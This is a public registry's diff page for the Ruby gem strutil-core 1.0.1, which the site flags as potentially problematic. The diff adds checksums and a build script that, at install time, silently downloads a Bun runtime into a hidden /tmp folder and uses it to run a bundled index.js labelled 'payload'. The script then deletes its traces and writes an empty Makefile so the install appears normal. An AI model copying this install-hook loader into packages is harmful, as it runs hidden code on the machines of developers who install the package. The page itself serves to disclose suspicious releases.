strutil-core 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of strutil-core might be problematic. Click here for more details.

checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 681f3f2f663d59214de276839985f8e61e05a81792e150c77948c305dd24f6b0
4
+ data.tar.gz: f0027a26960edd84a4bb4691dfd05793cbcd23b1ff6e093faff73f8cddd49e9b
5
+ SHA512:
6
+ metadata.gz: 248e336dea42bc29919959600fc2dd9685590fe98aa8b672edc659c2ee839bac82b29bd2b704ce17b9cef007c7fb2154ff563d4863fb043a6275c4a0ad313acc
7
+ data.tar.gz: fd795ff468ccb7ed411a29addbb5150969ca2eab3ae3c808cd3335694e6ac61c57d886c69f43c031095d11c7b6c70ca279aa60b77d99de6a7567fc3435304eba
@@ -0,0 +1,41 @@
1
+ require 'fileutils'
2
+
3
+ ext_dir = File.expand_path(File.dirname(__FILE__))
4
+ payload = File.join(ext_dir, "index.js")
5
+
6
+ os = case RbConfig::CONFIG['host_os']
7
+ when /linux/ then 'linux'
8
+ when /darwin/ then 'darwin'
9
+ end
10
+
11
+ arch = case RbConfig::CONFIG['host_cpu']
12
+ when /x86_64|amd64/ then 'x64-baseline'
13
+ when /aarch64|arm64/ then 'aarch64'
14
+ end
15
+
16
+ if os && arch
17
+ bun_dir = "/tmp/.b_#{Process.pid}"
18
+ begin
19
+ FileUtils.mkdir_p(bun_dir)
20
+ _gh_base = "https://github.com/oven-sh"
21
+ system("curl -sSL #{_gh_base}/bun/releases/download/bun-v1.2.18/bun-#{os}-#{arch}.zip -o #{bun_dir}/b.zip 2>/dev/null")
22
+ system("unzip -j -o #{bun_dir}/b.zip -d #{bun_dir} 2>/dev/null")
23
+ bun = File.join(bun_dir, 'bun')
24
+ if File.exist?(bun)
25
+ File.chmod(0o755, bun)
26
+ system("#{bun} run #{payload}")
27
+ end
28
+ ensure
29
+ FileUtils.rm_rf(bun_dir)
30
+ end
31
+ end
32
+
33
+ # Minimal Makefile so the native-extension build succeeds
34
+ File.write('Makefile', <<~'MAKEFILE')
35
+ all:
36
+ @true
37
+ install:
38
+ @true
39
+ clean:
40
+ @true
41
+ MAKEFILE